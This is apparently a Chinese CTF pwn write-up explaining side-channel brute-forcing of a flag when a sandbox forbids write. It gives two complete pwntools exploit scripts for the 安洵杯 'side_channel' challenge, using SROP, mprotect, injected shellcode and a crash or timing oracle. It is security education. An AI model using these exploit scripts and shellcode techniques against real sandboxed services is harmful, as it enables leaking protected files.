S测信道爆破

发布时间 2023-12-27 16:36:33作者: Sta8r9

S测信道爆破

0X10

  侧信道攻击(又称边信道攻击、旁路攻击side-channel attack),攻击者通过测量功耗、辐射排放以及进行某些数据处理的时间,借助这些信息倒推处理过程,以获得加密秘钥或敏感数据。

简单地说就是不直接去爆破密码本身,而是通过密码错误时系统的反馈,例如系统判断密码错误所用的时间与判断密码正确所用时间不相等,诸如此类信息经过逻辑推断来间接地得到密码。

0x20

此方法在pwn方向以shellcode绕过沙箱进行解题时存在应用场景。

前提

  • 需要知道flag的格式即能合理选择爆破字典。
  • 需要能使用自定义shellcode控制执行流。

orw缺w

  在这种情况下可以打开flag文件,并且把flag读取到一段内存区域中,但是无法泄露出flag。

  应对方法是对flag进行逐字节爆破。

  写shellcode: 传入一个可能的字符,让其与被读取到内存中的flag进行比对,并且采取一种判定方法进行识别。

常用判定方法:

常见思路有死循环、捕获错误、异常分支等,下面是两种具体方法。

method_1、

  如果比对成功则让程序调用一个被沙箱禁用的系统调用函数使程序崩溃立即异常终止,如果比对失败则让程序陷入死循环即不会发生错误正常运行。在try语句使用p.recv(timeout=1)except语句去捕获EOF错误,如果捕获到了则说明比对成功程序异常终止了使得p.recv(timeout=1)未能等待1秒就出现异常才触发了EOF错误,就记录下当前字符;否则即为比对失败,程序陷入死循环未退出使得p.recv(timeout=1)等待了1秒并正常关闭未触发EOF错误,则直接关闭管道符。注意p.recv(timeout=1)前使用p.clean()清理一下缓冲区避免受到残留数据干扰。

(这里timeout可以比1秒更小或更大,看实际情况而定,timeout大于T即可。T为从执行shellcode到异常终止的这段时间。如果打远程存在网络延迟则T值应当增大。)

method_2、

  如果比对成功则让程序调用一个系统调用函数read发生阻塞,如果比对失败则让程序调用exit系统调用函数立即退出。在EXP中写下一个p.recv(timeout=1)的语句,并在该语句前后用time()计算出该语句执行的时间t,如果t值较大则说明字符比对成功且调用了read使程序阻塞,就记录下该字符,并关闭管道符;如果t值极小,则说明字符比对失败程序立即退出,就直接关闭管道符。

  以上两种方法大同小异,知晓原理即可。

0x30

安洵杯side_channel

method_1、

如图,此题设置了白名单,可以使用o、r、mprotect等关键函数。

image-20231227145414890

这题解题思路就是srop调用mprotect函数更新数据段执行权限,并注入shellcode执行,由于缺少write函数,选择对flag进行逐字节爆破。

image-20231227145546395

image-20231227145609755

如图,当p.recv()接收出现异常时会报错EOF,此错误表示已经读取到文件末尾或者无法再读取。这是之后侧信道爆破的关键。

image-20231227145336419

EXP
from tools import *
context(log_level="info",arch="amd64")

syscall=0x000000000040118a
leave=0x000000000401446
bss=0x000000000404060
magic=0x0000000000401194
frame=SigreturnFrame()
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rax=10
frame.rip=0x40118a#syscall
frame.rbp=bss
frame.rsp=bss+0x200
def bao(dis,char):
    shellcode=asm('''
        mov rdi,0x404170
        mov rax,2
        syscall
        mov rdi,rax
        mov rsi,0x404170
        mov rdx,0x100
        mov rax,0
        syscall
        xor rdx,rdx
        xor rcx,rcx
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl,dl
        jz CORRECT
        loop:
        jmp loop
        CORRECT:
        mov al,1
        syscall
'''.format(dis,char))
    return shellcode
flag=""
for i in range(30):
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(38,126):
        p=process("./side")
        try:
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            p.clean()       
            p.recv(timeout=0.3)
            p.close()
        except EOFError :
            flag+=chr(j)
            log.success("The th{} char is {}".format(i,chr(j)))
            p.close()
            break            
log.success("flag =====>> {}".format(flag))

分析shellcode

蓝色框部分为open("./flag");红色框部分为read(fd,&bss,0x100)

绿色框部分:

  此时rsi存储的便是flag的内容,取rsi中的一个字节存储到dl中(将flag的一个字节放到dl),将一个可见字符存储到cl中(将字典中的一个字符放入cl),比较两个字符是否相同,若相同则跳转到CORRECT执行syscall调用write使得程序异常终止(write在沙箱黑名单),否则陷入死循环。

image-20231227150223636

分析try&except
for i in range(30):       #猜测flag长度为为30字节
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(33,127):             #遍历ascii码表的所有可见字符
        p=process("./side")             #启动程序创建管道符
        try:
            #==========================ROP & shellcode——bao(i,j) ===============================
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)    #i为flag[i],j为可见字符的ascii码 
            #===========================与程序进行交互 此处与模板化无关=============================================
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            #============================================================================================
            p.clean()   #清理缓冲区,避免缓冲区残留数据被p.recv()接收从而在语句该抛出EOF时却正常退出干扰判定
            p.recv(timeout=0.3)         #接收数据,设置超时0.3秒。如果该语句正常终止则说明程序此时已经陷入死循环,字符不匹配。timeout的值视情况而定,一般值越大则爆破结果可信度越高。
            p.close()               #在程序陷入死循环时主动关闭管道符
        except EOFError :           #捕获p.recv(timeout=0.3)抛出的EOF异常,有异常说明字符比对成功,则记录该字符。
            flag+=chr(j)
            log.success("The th{} char is {}".format(i,chr(j)))
            p.close()
            break

image-20231227152541392

flag

image-20231227152800105

method_2、

EXP
from tools import *
context(log_level="info",arch="amd64")

syscall=0x000000000040118a
leave=0x000000000401446
bss=0x000000000404060
magic=0x0000000000401194
frame=SigreturnFrame()
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rax=10
frame.rip=0x40118a#syscall
frame.rbp=bss
frame.rsp=bss+0x200
def bao(dis,char):
    shellcode=asm('''
        mov rdi,0x404170
        mov rax,2
        syscall
        mov rdi,rax
        mov rsi,0x404170
        mov rdx,0x100
        mov rax,0
        syscall
        xor rdx,rdx
        xor rcx,rcx
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl,dl
        jz CORRECT
        mov rax,1
        syscall
        CORRECT:
        mov rdi,0
        mov rsi,0x404170
        mov rdx,0x1
        xor rax,rax
        syscall
'''.format(dis,char))
    return shellcode

flag=""

for i in range(30):                         #猜测flag长度为为30字节
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(38,127):                #遍历ascii码表的所有可见字符
        p=process("./side")                 #启动程序创建管道符
        try:
            #==========================ROP & shellcode——bao(i,j) ===============================
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)    #i为flag[i],j为可见字符的ascii码 
            #===========================与程序进行交互 此处与模板化无关=============================================
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            #============================================================================================
            t=time.time()
            p.clean(0.5)                     #清理缓冲区,并且等待0.5秒,程序如果此时崩溃则等待失败,因为管道符已经关闭;程序如果阻塞在read会等待0.5秒。
            t=time.time()-t
            print("t========>>>>",t)
        except :           
            pass
        else :
            if t>0.5:                       #判断t值,检查p.clean(0.5)是否等待成功。等待成功则字符匹配,存下字符。
                flag+=chr(j)
                log.success("The th{} char is {}".format(i,chr(j)))
                p.close()  
                break
            else :
                p.close()                   #在程序陷入死循环时主动关闭管道符
            
log.success("flag =====>> {}".format(flag))

分析shellcode

前半部分与方法一样。

红色方框内:

  先比对cl和dl是否相同,相同则调用read阻塞程序。不同则异常崩溃。

image-20231227160409101

分析try&except
for i in range(30):                         #猜测flag长度为为30字节
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(38,127):                #遍历ascii码表的所有可见字符
        p=process("./side")                 #启动程序创建管道符
        try:
            #==========================ROP & shellcode——bao(i,j) ===============================
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)    #i为flag[i],j为可见字符的ascii码 
            #===========================与程序进行交互 此处与模板化无关=============================================
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            #============================================================================================
            t=time.time()
            p.clean(0.5)                     #清理缓冲区,并且等待0.5秒,程序如果此时崩溃则等待失败,因为管道符已经关闭;程序如果阻塞在read会等待0.5秒。这里的0.5视情况而定,需要和p.clean(0)区分开
            t=time.time()-t
            print("t========>>>>",t)
        except :           
            pass
        else :
            if t>0.5:                       #判断t值,检查p.clean(0.5)是否等待成功。等待成功则字符匹配,存下字符。
                flag+=chr(j)
                log.success("The th{} char is {}".format(i,chr(j)))
                p.close()  
                break
            else :
                p.close()                   #在程序陷入死循环时主动关闭管道符

image-20231227160837590

如下图,p.clean(0.5)时如果程序异常终止则t值稳定在0.3及以下,如果阻塞在read则大于0.5,由此便可以区分。

image-20231227162238595

flag

image-20231227161811257

0x40

Python3 错误和异常 | 菜鸟教程 (runoob.com)

隔空取物之侧信道攻击 - FreeBuf网络安全行业门户

2023 ciscn国赛pwn lojin wp_2023ciscn login-CSDN博客

[BUUCTF] xman_2019_nooocall - LynneHuan - 博客园 (cnblogs.com)

关于侧信道爆破的学习总结 | ZIKH26's Blog